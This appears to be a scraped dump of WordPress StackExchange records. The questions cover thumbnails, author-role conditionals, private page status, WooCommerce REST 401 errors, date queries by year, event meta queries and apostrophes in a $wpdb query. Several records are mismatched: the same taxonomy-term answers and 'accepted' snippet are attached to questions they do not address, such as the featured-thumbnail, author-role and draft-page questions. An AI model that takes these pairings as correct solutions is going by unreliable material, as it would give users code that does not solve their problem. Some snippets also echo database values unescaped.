[ { "answer_id": 285098, "author": "Moe", "author_id": 130914, "author_profile": "https://wordpress.stackexchange.com/users/130914", "pm_score": 0, "selected": false, "text": "<p>It works with this code to show only the name, however the output is displayed in small characters so I only need to capitalize it somehow</p>\n\n<p><code>&lt;?php // Get terms for post\n $terms = get_the_terms( $post-&gt;ID , 'my_taxonomy' );\n // Loop over each item since it's an array\n if ( $terms != null ){\n foreach( $terms as $term ) {\n // Print the name method from $term which is an OBJECT\n print $term-&gt;slug ;\n // Get rid of the other data stored in the object, since it's not needed\n unset($term);\n} } ?&gt;</code></p>\n" }, { "answer_id": 285099, "author": "omukiguy", "author_id": 102683, "author_profile": "https://wordpress.stackexchange.com/users/102683", "pm_score": 1, "selected": false, "text": "<p>Assuming the taxonomy name is \"animals\"</p>\n\n<pre><code>&lt;?php\n //This will show all the terms in taxonomy whether they have posts or not thus the \"hide_empty\"\n $terms = get_terms( array ( 'taxonomy' =&gt; 'animals', 'hide_empty' =&gt; false, 'parent' =&gt; 0, 'orderby' =&gt; 'description', 'order' =&gt; 'ASC' ));\n\n foreach ($terms as $term) {\n // The $term is an object, so we can get the names.\n //use var_dump($term) to see other options available\n echo $name = $term-&gt;name;\n }\n?&gt;\n</code></pre>\n" }, { "answer_id": 285100, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 1, "selected": false, "text": "<p>The <a href=\"https://developer.wordpress.org/reference/functions/wp_get_post_terms/\" rel=\"nofollow noreferrer\"><code>wp_get_post_terms()</code> function</a> returns one or more term names when you call it with <code>array( 'fields' =&gt; 'names' )</code>. So you have a few different options available to you.</p>\n\n<p>Grab the first term name that was found.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\nif ( ! empty( $term_names ) ) {\n echo $term_names[0]; // Cats\n}\n</code></pre>\n\n<p>Or, you can implode the list of term names and show them in comma-delimited format.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\necho implode(', ', $term_names); // Cats, Pets, Animals\n</code></pre>\n\n<p>Or, you can iterate through the list and do something else.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\nforeach( $term_names as $name ) {\n echo $name.'&lt;br /&gt;';\n}\n</code></pre>\n" } ]
2017/11/05
[ "https://wordpress.stackexchange.com/questions/285022", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130919/" ]
I am using 2017 theme and I want to thumbnail to the posts which appears on my site homepage, thumbnail appearing when we visit post but doesn't appear on homepage[![enter image description here](https://i.stack.imgur.com/rcRwy.jpg)](https://i.stack.imgur.com/rcRwy.jpg)
Assuming the taxonomy name is "animals" ``` <?php //This will show all the terms in taxonomy whether they have posts or not thus the "hide_empty" $terms = get_terms( array ( 'taxonomy' => 'animals', 'hide_empty' => false, 'parent' => 0, 'orderby' => 'description', 'order' => 'ASC' )); foreach ($terms as $term) { // The $term is an object, so we can get the names. //use var_dump($term) to see other options available echo $name = $term->name; } ?> ```
285,050
<p>Simplifying how I currently show featured posts, when a post is submitted by a full member, a post_meta value is added to the post which is then styled differently. </p> <p>But Id like to do it based on the post authors, user role instead. </p> <p>So if a the user who submitted the post is a "full_member", their post is automatically featured without the need for post_meta to be queried. </p> <p>I've tried something like this which is in the archive template loop, and just adds a "featured-listing" class to a wrapping div, but I don't think I'm looking at it in the correct way. </p> <pre><code> &lt;?php $user = wp_get_current_user(); if ( in_array( 'full_member', (array) $user-&gt;roles ) ) { ?&gt; featured-listing &lt;?php } ?&gt; </code></pre> <p><strong>EDIT</strong></p> <p>Part 1 has been resolved using Nathan's original answer for the class issue , his answer has expanded since then which doesnt work for me, so ive pasted the solution that did work below : </p> <pre><code>//* If the post author is a full member, they get a featured listing function which_class() { return post_author_role_in( 'full_member' ) ? 'featured-listing' : 'regular-listing'; } //* Determine if the post author is in the $role function post_author_role_in( $role ) { return in_the_loop() ? user_role_in( get_the_author_meta( 'ID' ), $role ) : false; } //* Determine if the $user_id is in the $role function user_role_in( $user_id, $role ) { return in_array( $role, ( new WP_User( $user_id ) )-&gt;roles ); } </code></pre> <p><strong>Part 2 However I still need a solution for</strong></p> <p><em>Id still like to use a conditional</em> to completely hide certain elements within the template, is there an <strong>IF condition</strong> which says something like <code>IF post author is in X role, display this, else display this</code>. ?</p> <p>Please advise :)</p>
[ { "answer_id": 285098, "author": "Moe", "author_id": 130914, "author_profile": "https://wordpress.stackexchange.com/users/130914", "pm_score": 0, "selected": false, "text": "<p>It works with this code to show only the name, however the output is displayed in small characters so I only need to capitalize it somehow</p>\n\n<p><code>&lt;?php // Get terms for post\n $terms = get_the_terms( $post-&gt;ID , 'my_taxonomy' );\n // Loop over each item since it's an array\n if ( $terms != null ){\n foreach( $terms as $term ) {\n // Print the name method from $term which is an OBJECT\n print $term-&gt;slug ;\n // Get rid of the other data stored in the object, since it's not needed\n unset($term);\n} } ?&gt;</code></p>\n" }, { "answer_id": 285099, "author": "omukiguy", "author_id": 102683, "author_profile": "https://wordpress.stackexchange.com/users/102683", "pm_score": 1, "selected": false, "text": "<p>Assuming the taxonomy name is \"animals\"</p>\n\n<pre><code>&lt;?php\n //This will show all the terms in taxonomy whether they have posts or not thus the \"hide_empty\"\n $terms = get_terms( array ( 'taxonomy' =&gt; 'animals', 'hide_empty' =&gt; false, 'parent' =&gt; 0, 'orderby' =&gt; 'description', 'order' =&gt; 'ASC' ));\n\n foreach ($terms as $term) {\n // The $term is an object, so we can get the names.\n //use var_dump($term) to see other options available\n echo $name = $term-&gt;name;\n }\n?&gt;\n</code></pre>\n" }, { "answer_id": 285100, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 1, "selected": false, "text": "<p>The <a href=\"https://developer.wordpress.org/reference/functions/wp_get_post_terms/\" rel=\"nofollow noreferrer\"><code>wp_get_post_terms()</code> function</a> returns one or more term names when you call it with <code>array( 'fields' =&gt; 'names' )</code>. So you have a few different options available to you.</p>\n\n<p>Grab the first term name that was found.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\nif ( ! empty( $term_names ) ) {\n echo $term_names[0]; // Cats\n}\n</code></pre>\n\n<p>Or, you can implode the list of term names and show them in comma-delimited format.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\necho implode(', ', $term_names); // Cats, Pets, Animals\n</code></pre>\n\n<p>Or, you can iterate through the list and do something else.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\nforeach( $term_names as $name ) {\n echo $name.'&lt;br /&gt;';\n}\n</code></pre>\n" } ]
2017/11/05
[ "https://wordpress.stackexchange.com/questions/285050", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62291/" ]
Simplifying how I currently show featured posts, when a post is submitted by a full member, a post\_meta value is added to the post which is then styled differently. But Id like to do it based on the post authors, user role instead. So if a the user who submitted the post is a "full\_member", their post is automatically featured without the need for post\_meta to be queried. I've tried something like this which is in the archive template loop, and just adds a "featured-listing" class to a wrapping div, but I don't think I'm looking at it in the correct way. ``` <?php $user = wp_get_current_user(); if ( in_array( 'full_member', (array) $user->roles ) ) { ?> featured-listing <?php } ?> ``` **EDIT** Part 1 has been resolved using Nathan's original answer for the class issue , his answer has expanded since then which doesnt work for me, so ive pasted the solution that did work below : ``` //* If the post author is a full member, they get a featured listing function which_class() { return post_author_role_in( 'full_member' ) ? 'featured-listing' : 'regular-listing'; } //* Determine if the post author is in the $role function post_author_role_in( $role ) { return in_the_loop() ? user_role_in( get_the_author_meta( 'ID' ), $role ) : false; } //* Determine if the $user_id is in the $role function user_role_in( $user_id, $role ) { return in_array( $role, ( new WP_User( $user_id ) )->roles ); } ``` **Part 2 However I still need a solution for** *Id still like to use a conditional* to completely hide certain elements within the template, is there an **IF condition** which says something like `IF post author is in X role, display this, else display this`. ? Please advise :)
Assuming the taxonomy name is "animals" ``` <?php //This will show all the terms in taxonomy whether they have posts or not thus the "hide_empty" $terms = get_terms( array ( 'taxonomy' => 'animals', 'hide_empty' => false, 'parent' => 0, 'orderby' => 'description', 'order' => 'ASC' )); foreach ($terms as $term) { // The $term is an object, so we can get the names. //use var_dump($term) to see other options available echo $name = $term->name; } ?> ```
285,066
<p>Have an issue where I have a series of pages loaded into a websites index using code shown bellow:</p> <pre><code>&lt;?php $id = 1767; $p = get_page($id); echo apply_filters('the_content', $p-&gt;post_content); ?&gt; </code></pre> <p>But the information from these pages are not respecting Private and Draft status. Normally this is fine with me. But a couple of them are either to me scheduled updates. But no matter what the pages status is it's visible to an unlogged in reader of the page in all browsers I've tried.</p> <p>I have done some reading about the <code>page_status</code> code but I'm too much of a layman to work out how to get it to work.</p> <p>Help and advice most welcome. Thanks</p> <p>Ok thanks Piyush Rawat. I implemented the follow. Works correctly as far as I can tell.</p> <pre><code>&lt;?php $id = 2841; $p = get_page($id); if ( get_post_status ( $id ) == 'publish' ) { echo apply_filters('the_content', $p-&gt;post_content); } ?&gt; </code></pre>
[ { "answer_id": 285098, "author": "Moe", "author_id": 130914, "author_profile": "https://wordpress.stackexchange.com/users/130914", "pm_score": 0, "selected": false, "text": "<p>It works with this code to show only the name, however the output is displayed in small characters so I only need to capitalize it somehow</p>\n\n<p><code>&lt;?php // Get terms for post\n $terms = get_the_terms( $post-&gt;ID , 'my_taxonomy' );\n // Loop over each item since it's an array\n if ( $terms != null ){\n foreach( $terms as $term ) {\n // Print the name method from $term which is an OBJECT\n print $term-&gt;slug ;\n // Get rid of the other data stored in the object, since it's not needed\n unset($term);\n} } ?&gt;</code></p>\n" }, { "answer_id": 285099, "author": "omukiguy", "author_id": 102683, "author_profile": "https://wordpress.stackexchange.com/users/102683", "pm_score": 1, "selected": false, "text": "<p>Assuming the taxonomy name is \"animals\"</p>\n\n<pre><code>&lt;?php\n //This will show all the terms in taxonomy whether they have posts or not thus the \"hide_empty\"\n $terms = get_terms( array ( 'taxonomy' =&gt; 'animals', 'hide_empty' =&gt; false, 'parent' =&gt; 0, 'orderby' =&gt; 'description', 'order' =&gt; 'ASC' ));\n\n foreach ($terms as $term) {\n // The $term is an object, so we can get the names.\n //use var_dump($term) to see other options available\n echo $name = $term-&gt;name;\n }\n?&gt;\n</code></pre>\n" }, { "answer_id": 285100, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 1, "selected": false, "text": "<p>The <a href=\"https://developer.wordpress.org/reference/functions/wp_get_post_terms/\" rel=\"nofollow noreferrer\"><code>wp_get_post_terms()</code> function</a> returns one or more term names when you call it with <code>array( 'fields' =&gt; 'names' )</code>. So you have a few different options available to you.</p>\n\n<p>Grab the first term name that was found.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\nif ( ! empty( $term_names ) ) {\n echo $term_names[0]; // Cats\n}\n</code></pre>\n\n<p>Or, you can implode the list of term names and show them in comma-delimited format.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\necho implode(', ', $term_names); // Cats, Pets, Animals\n</code></pre>\n\n<p>Or, you can iterate through the list and do something else.</p>\n\n<pre><code>&lt;?php\n$term_names = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array('fields' =&gt; 'names'));\n\nforeach( $term_names as $name ) {\n echo $name.'&lt;br /&gt;';\n}\n</code></pre>\n" } ]
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285066", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130948/" ]
Have an issue where I have a series of pages loaded into a websites index using code shown bellow: ``` <?php $id = 1767; $p = get_page($id); echo apply_filters('the_content', $p->post_content); ?> ``` But the information from these pages are not respecting Private and Draft status. Normally this is fine with me. But a couple of them are either to me scheduled updates. But no matter what the pages status is it's visible to an unlogged in reader of the page in all browsers I've tried. I have done some reading about the `page_status` code but I'm too much of a layman to work out how to get it to work. Help and advice most welcome. Thanks Ok thanks Piyush Rawat. I implemented the follow. Works correctly as far as I can tell. ``` <?php $id = 2841; $p = get_page($id); if ( get_post_status ( $id ) == 'publish' ) { echo apply_filters('the_content', $p->post_content); } ?> ```
Assuming the taxonomy name is "animals" ``` <?php //This will show all the terms in taxonomy whether they have posts or not thus the "hide_empty" $terms = get_terms( array ( 'taxonomy' => 'animals', 'hide_empty' => false, 'parent' => 0, 'orderby' => 'description', 'order' => 'ASC' )); foreach ($terms as $term) { // The $term is an object, so we can get the names. //use var_dump($term) to see other options available echo $name = $term->name; } ?> ```
285,068
<p>I am using the postman for the check the REST API Call in WooCommerce. When I call the Woocommerce Defaults API. It displays the error like.</p> <pre><code>{ "code": "woocommerce_rest_cannot_create", "message": "Sorry, you are not allowed to create resources.", "data": { "status": 401 } } </code></pre> <p>The above error displays when the Basic Authentication and POST method of Create Customers API.</p> <p>And when I am Trying to Call the Display products API with the cURL </p> <pre><code>http://example.com/wp-json/wc/v2/products </code></pre> <p>Using the GET Methods from postman it will display the following error.</p> <pre><code>{ "code": "woocommerce_rest_cannot_view", "message": "Sorry, you cannot list resources.", "data": { "status": 401 } } </code></pre> <p>It would be great if anyone saving me from this headache. Thanks.. </p>
[ { "answer_id": 306770, "author": "Ajay Ghaghretiya", "author_id": 125557, "author_profile": "https://wordpress.stackexchange.com/users/125557", "pm_score": 2, "selected": true, "text": "<p>I got the solution for it. Use the Basic Authentication from the Postman.</p>\n\n<p>Thanks</p>\n" }, { "answer_id": 343821, "author": "Rafael Guimarães", "author_id": 133111, "author_profile": "https://wordpress.stackexchange.com/users/133111", "pm_score": -1, "selected": false, "text": "<p>if you are using basic auth, be sure that apache is return header authorization, \nin you <code>http.conf</code> put this <code>SetEnvIf Authorization \"(.*)\" HTTP_AUTHORIZATION=$1</code></p>\n" }, { "answer_id": 371847, "author": "sharma vnk", "author_id": 192292, "author_profile": "https://wordpress.stackexchange.com/users/192292", "pm_score": -1, "selected": false, "text": "<p>Make sure you have given Read/Write Access to the user and also check the .htaccess. Try to paste this code in your .htaccess and check again</p>\n<pre><code># BEGIN WordPress\n# The directives (lines) between `BEGIN WordPress` and `END WordPress` are\n# dynamically generated, and should only be modified via WordPress filters.\n# Any changes to the directives between these markers will be overwritten.\n&lt;IfModule mod_rewrite.c&gt;\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n&lt;/IfModule&gt;\n\n# END WordPress\n</code></pre>\n" }, { "answer_id": 392861, "author": "Josmy Jose", "author_id": 209791, "author_profile": "https://wordpress.stackexchange.com/users/209791", "pm_score": 0, "selected": false, "text": "<p>I also faced same issue, i tried in Postman, PHP, NodeJs everthing, almost spend 2 days but no output, finally started getting response after putting a slash at the end of the URL,</p>\n<p>I mean,</p>\n<p>Initially i was using <a href=\"https://example.com/wp-json/wc/v3/products?consumer_key=ck_XXXX&amp;consumer_secret=cs_XXXX\" rel=\"nofollow noreferrer\">https://example.com/wp-json/wc/v3/products?consumer_key=ck_XXXX&amp;consumer_secret=cs_XXXX</a>\nbut change it to like this <a href=\"https://example.com/wp-json/wc/v3/products/?consumer_key=ck_XXXX&amp;consumer_secret=cs_XXXX\" rel=\"nofollow noreferrer\">https://example.com/wp-json/wc/v3/products/?consumer_key=ck_XXXX&amp;consumer_secret=cs_XXXX</a> (Just put a slash before question mark in the start of query string).</p>\n<p>In Postman even without set any Authorization settings(Type = No Auth), i started getting responses.</p>\n<p>It may be somehow related to my .htaccess, but i feel it would good if i post this solution also here.</p>\n" }, { "answer_id": 404551, "author": "Emtiaz Zahid", "author_id": 173792, "author_profile": "https://wordpress.stackexchange.com/users/173792", "pm_score": 0, "selected": false, "text": "<p><strong>For me, it was an authentication issue.</strong></p>\n<p>I was using <strong>Basic auth</strong> for the postman</p>\n<p>Just select <strong>OAuth 1.0</strong> for authentication type and put the consumer and secret key on the field</p>\n<p><em>Screenshot:</em></p>\n<p><a href=\"https://i.stack.imgur.com/5jLZi.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5jLZi.png\" alt=\"postman-woocommerce-API\" /></a></p>\n" } ]
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285068", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125557/" ]
I am using the postman for the check the REST API Call in WooCommerce. When I call the Woocommerce Defaults API. It displays the error like. ``` { "code": "woocommerce_rest_cannot_create", "message": "Sorry, you are not allowed to create resources.", "data": { "status": 401 } } ``` The above error displays when the Basic Authentication and POST method of Create Customers API. And when I am Trying to Call the Display products API with the cURL ``` http://example.com/wp-json/wc/v2/products ``` Using the GET Methods from postman it will display the following error. ``` { "code": "woocommerce_rest_cannot_view", "message": "Sorry, you cannot list resources.", "data": { "status": 401 } } ``` It would be great if anyone saving me from this headache. Thanks..
I got the solution for it. Use the Basic Authentication from the Postman. Thanks
285,093
<p>I am trying to display the terms from a taxonomy on my archive page but I am struggling to display the terms name, here is what I have so far:</p> <pre><code>if ($post-&gt;post_type == 'cpt_saving') { $categories = get_the_terms($post-&gt;ID, 'cpt_saving-type'); if ($categories) { $categories['name']; } $stack = [ 'title' =&gt; get_field('savings_headline', $post_id), 'image' =&gt; get_field('savings_supplier_logo', $post_id), 'reference' =&gt; get_field('savings_reference', $post_id), 'date' =&gt; get_the_date('l j F Y'), 'link' =&gt; get_the_permalink(), 'term' =&gt; $categories-&gt;name, ]; get_template_partial('partials/savings/savings-item', $stack); } </code></pre> <p>As I have $stack as my array how would I call the taxonomy terms name to display it on the front end?</p>
[ { "answer_id": 285089, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 2, "selected": false, "text": "<p>Apache only runs the index.php of WordPress, and serves static files (images, css, js etc). WP does all the rest, including parsing the request to find out what content to show the user. Apache does not (and needs not) know that there is communication with a data base in PHP, and doesn't interact with that database itself at any point.</p>\n\n<p>That's also why you don't necessarily need Apache in the equation, you could also use nginx or other webservers (as long as they offer a way to run php), or no external webserver at all and just use php's internal webserver (though that's mostly for development, idk how well this holds up in production).</p>\n" }, { "answer_id": 390716, "author": "Atman Nouiouat", "author_id": 207923, "author_profile": "https://wordpress.stackexchange.com/users/207923", "pm_score": 0, "selected": false, "text": "<p>I liked the Question but it seems to me Tor is confusing between Site hosting and a CMS (content Management System)?!</p>\n<ol>\n<li>Dreamhost is a &quot;WebSite hosting company&quot; that provides Servers (VMs) to Web enabled applications like CMS and others Joomla, etc. (May be they only support WP?)</li>\n<li>Wordpress (WP) is a Web enabled multi-tier Client-Server application that consists of 3 Main independent Components working together to implement a CMS. The 3 Components are:\n2.1 a Webserver (Apache, ...) that supports http/https Protocols. Gets users requests and pass them on to WP.\n2.2 WP is an PHP app that executes PhP Code to resolve User Requests. WP runs Php to interact with MySQL.\n2.3 MySQL is an RDBMS where 1 of the Databases owned by WP Application is stored and contains WP Site Content used to resolve Site Users' requests.\nThat's my understanding of this enchilada!</li>\n</ol>\n" } ]
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285093", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/38592/" ]
I am trying to display the terms from a taxonomy on my archive page but I am struggling to display the terms name, here is what I have so far: ``` if ($post->post_type == 'cpt_saving') { $categories = get_the_terms($post->ID, 'cpt_saving-type'); if ($categories) { $categories['name']; } $stack = [ 'title' => get_field('savings_headline', $post_id), 'image' => get_field('savings_supplier_logo', $post_id), 'reference' => get_field('savings_reference', $post_id), 'date' => get_the_date('l j F Y'), 'link' => get_the_permalink(), 'term' => $categories->name, ]; get_template_partial('partials/savings/savings-item', $stack); } ``` As I have $stack as my array how would I call the taxonomy terms name to display it on the front end?
Apache only runs the index.php of WordPress, and serves static files (images, css, js etc). WP does all the rest, including parsing the request to find out what content to show the user. Apache does not (and needs not) know that there is communication with a data base in PHP, and doesn't interact with that database itself at any point. That's also why you don't necessarily need Apache in the equation, you could also use nginx or other webservers (as long as they offer a way to run php), or no external webserver at all and just use php's internal webserver (though that's mostly for development, idk how well this holds up in production).
285,105
<p>Is it possible to use multiple years with a date query like this -</p> <pre><code>$args = array( 'posts_per_page' =&gt; '-1', 'date_query' =&gt; array( array( 'year' =&gt; array( 2016, 2017 ) ), ), ); $posts = new WP_Query(array( $args ) ); </code></pre> <p>I tried this but it doesn't work</p> <pre><code>'year' =&gt; array( 2016, 2017 ) </code></pre>
[ { "answer_id": 285108, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 3, "selected": true, "text": "<p>You can use <code>before</code> and <code>after</code>, see <a href=\"https://developer.wordpress.org/reference/classes/wp_query/#date-parameters\" rel=\"nofollow noreferrer\">date arguments</a>.</p>\n\n<pre><code>$args = array(\n 'posts_per_page' =&gt; '-1',\n 'date_query' =&gt; array(\n array(\n 'after' =&gt; 'December 31st, 2015', // i.e., 2016+.\n 'before' =&gt; 'January 1st, 2018', // i.e., before 2018.\n ),\n ),\n);\n$query = new WP_Query( $args );\n</code></pre>\n\n<hr>\n\n<p>Based on an <a href=\"https://alex.blog/2013/08/27/date-queries-in-wordpress-3-point-7/\" rel=\"nofollow noreferrer\">article</a> written by one of the date query committers, it looks like you can use <code>AND</code> <code>OR</code> logic date queries too. So you can also do this.</p>\n\n<pre><code>$args = array(\n 'posts_per_page' =&gt; '-1',\n 'date_query' =&gt; array(\n 'relation' =&gt; 'OR',\n array( 'year' =&gt; 2016 ),\n array( 'year' =&gt; 2017 ),\n ),\n);\n$query = new WP_Query( $args );\n</code></pre>\n\n<hr>\n\n<p>All possible arguments according to that author.</p>\n\n<pre><code>'date_query' =&gt; array(\n 'column' =&gt; 'optional, column to query against, default is post_date',\n 'compare' =&gt; 'optional, see WP_Date_Query::get_compare()',\n 'relation' =&gt; 'optional, OR or AND, how the sub-arrays should be compared, default is AND',\n array(\n 'column' =&gt; 'see above',\n 'compare' =&gt; 'see above',\n 'after' =&gt; 'string or array, see WP_Date_Query::build_mysql_datetime()',\n 'before' =&gt; 'string or array, see WP_Date_Query::build_mysql_datetime()',\n 'inclusive' =&gt; 'boolean, for after/before, whether exact value should be matched or not',\n 'year' =&gt; '4 digit int',\n 'month' =&gt; 'int, 1-12',\n 'week' =&gt; 'int, 0-53',\n 'day' =&gt; 'int, 1-31',\n 'hour' =&gt; 'int, 0-23',\n 'minute' =&gt; 'int, 0-60',\n 'second' =&gt; 'int, 0-60',\n ),\n array(\n ...\n ),\n ..\n),\n</code></pre>\n" }, { "answer_id": 359794, "author": "rvictorcardozo", "author_id": 181748, "author_profile": "https://wordpress.stackexchange.com/users/181748", "pm_score": 2, "selected": false, "text": "<p>In my case, I use <code>After</code> and <code>Before</code> to show the most popular post in the period between two years. </p>\n\n<p>Work's fine!</p>\n\n<pre><code>$current_year = get_the_date('Y'); //Get Current Year of the Page - Header Page\n$last_year = (get_the_date('Y') - 2) //2 is the year for calculated the period ; \n$args = array(\n 'post_type' =&gt; 'post',\n 'posts_per_page' =&gt; 6,\n 'meta_key' =&gt; 'post_views_count',\n 'orderby' =&gt; 'meta_value_num',\n 'order' =&gt; 'RAND',\n 'date_query' =&gt; array(\n array(\n 'after' =&gt; $last_year,\n 'before' =&gt; $current_year,\n ),\n ),\n 'post_status' =&gt; 'publish'\n );\n$myposts = new WP_Query( $args );\n</code></pre>\n" } ]
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285105", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/104464/" ]
Is it possible to use multiple years with a date query like this - ``` $args = array( 'posts_per_page' => '-1', 'date_query' => array( array( 'year' => array( 2016, 2017 ) ), ), ); $posts = new WP_Query(array( $args ) ); ``` I tried this but it doesn't work ``` 'year' => array( 2016, 2017 ) ```
You can use `before` and `after`, see [date arguments](https://developer.wordpress.org/reference/classes/wp_query/#date-parameters). ``` $args = array( 'posts_per_page' => '-1', 'date_query' => array( array( 'after' => 'December 31st, 2015', // i.e., 2016+. 'before' => 'January 1st, 2018', // i.e., before 2018. ), ), ); $query = new WP_Query( $args ); ``` --- Based on an [article](https://alex.blog/2013/08/27/date-queries-in-wordpress-3-point-7/) written by one of the date query committers, it looks like you can use `AND` `OR` logic date queries too. So you can also do this. ``` $args = array( 'posts_per_page' => '-1', 'date_query' => array( 'relation' => 'OR', array( 'year' => 2016 ), array( 'year' => 2017 ), ), ); $query = new WP_Query( $args ); ``` --- All possible arguments according to that author. ``` 'date_query' => array( 'column' => 'optional, column to query against, default is post_date', 'compare' => 'optional, see WP_Date_Query::get_compare()', 'relation' => 'optional, OR or AND, how the sub-arrays should be compared, default is AND', array( 'column' => 'see above', 'compare' => 'see above', 'after' => 'string or array, see WP_Date_Query::build_mysql_datetime()', 'before' => 'string or array, see WP_Date_Query::build_mysql_datetime()', 'inclusive' => 'boolean, for after/before, whether exact value should be matched or not', 'year' => '4 digit int', 'month' => 'int, 1-12', 'week' => 'int, 0-53', 'day' => 'int, 1-31', 'hour' => 'int, 0-23', 'minute' => 'int, 0-60', 'second' => 'int, 0-60', ), array( ... ), .. ), ```
285,113
<p>I'm retrieving event data from ajax load more plugin using hooks. The requirement is I need to validate the days needed to retrieve. That events 10 days after their end date, they will not be shown in result.</p> <pre><code>$args = [ 'post_status' =&gt; 'publish', 'post_type' =&gt; array(TribeEvents::POSTTYPE), 'posts_per_page' =&gt; 20, 'meta_key' =&gt; '_EventStartDate', 'orderby' =&gt; '_EventStartDate', 'order' =&gt; 'ASC', 'offset' =&gt; $offset, 'meta_query' =&gt; [ 'key' =&gt; '_EventEndDate', 'value' =&gt; '_EventEndDate INTERVAL 10 DAY', // &lt;-- this part 'compare' =&gt; '&gt;=', 'type' =&gt; 'DATE' ] ]; </code></pre> <p>But ofcourse it does not work and doesn't shown anything in my end. The problem is I needed the <strong>_EventEndDate</strong> to add 10 days but the current solution does not work.</p>
[ { "answer_id": 285121, "author": "Nicolai Grossherr", "author_id": 22534, "author_profile": "https://wordpress.stackexchange.com/users/22534", "pm_score": 1, "selected": false, "text": "<p>Use an <code>array</code> for <code>value</code>, so <code>[ $begin, $end ]</code>. For <code>compare</code> use <code>BETWEEN</code> and <code>type</code> is <code>DATETIME</code>. <code>$end</code> would be now I assume, and the <code>$begin</code> ten days ago, so </p>\n\n<pre><code>$now = new DateTime(); \n$end = $now-&gt;format( 'Y-m-d H:i:s' ); \n$begin = $now-&gt;modify( '-10 days' )-&gt;format( 'Y-m-d H:i:s' );\n\n$args = [\n 'meta_query' =&gt; [\n 'key' =&gt; '_EventEndDate',\n 'value' =&gt; [ $begin, $end ],\n 'compare' =&gt; 'BETWEEN',\n 'type' =&gt; 'DATETIME'\n ]\n];\n</code></pre>\n" }, { "answer_id": 285125, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>On top of my head this should be something like:</p>\n\n<pre><code>'meta_query' =&gt; [\n 'key' =&gt; '_EventEndDate',\n 'value' =&gt; [ $start, $end ],\n 'compare' =&gt; 'BETWEEN',\n 'type' =&gt; 'DATETIME'\n ]\n</code></pre>\n\n<p>You would need to calculate boundaries yourself before passing to the query in this case.</p>\n\n<p>See <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters\" rel=\"nofollow noreferrer\">Custom Field Parameters</a> in Codex for full documentation on parameters available for meta queries.</p>\n" } ]
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285113", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/44259/" ]
I'm retrieving event data from ajax load more plugin using hooks. The requirement is I need to validate the days needed to retrieve. That events 10 days after their end date, they will not be shown in result. ``` $args = [ 'post_status' => 'publish', 'post_type' => array(TribeEvents::POSTTYPE), 'posts_per_page' => 20, 'meta_key' => '_EventStartDate', 'orderby' => '_EventStartDate', 'order' => 'ASC', 'offset' => $offset, 'meta_query' => [ 'key' => '_EventEndDate', 'value' => '_EventEndDate INTERVAL 10 DAY', // <-- this part 'compare' => '>=', 'type' => 'DATE' ] ]; ``` But ofcourse it does not work and doesn't shown anything in my end. The problem is I needed the **\_EventEndDate** to add 10 days but the current solution does not work.
On top of my head this should be something like: ``` 'meta_query' => [ 'key' => '_EventEndDate', 'value' => [ $start, $end ], 'compare' => 'BETWEEN', 'type' => 'DATETIME' ] ``` You would need to calculate boundaries yourself before passing to the query in this case. See [Custom Field Parameters](https://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters) in Codex for full documentation on parameters available for meta queries.
285,119
<p>I've got this query:</p> <pre><code>$tenantsInfo = $wpdb-&gt;get_results("SELECT * FROM exp_ten WHERE tenant_number = " . (int) $user-&gt;ID); </code></pre> <p>I use some echo to show data on frontend:</p> <pre><code>if ($tenantsInfo) { foreach ($tenantsInfo as $tenant) { echo "&lt;h2&gt;Welcome," . " " .$tenant-&gt;tenant_name. "&lt;/h2&gt;"; </code></pre> <p>When data, like tenant's name contains apostrophe, no data is displayed on frontend.</p> <p>Could somebody please help me change mysql statement so apostrophe could be escaped? Or maybe there is different solution?</p> <p>Thanks in advance!</p>
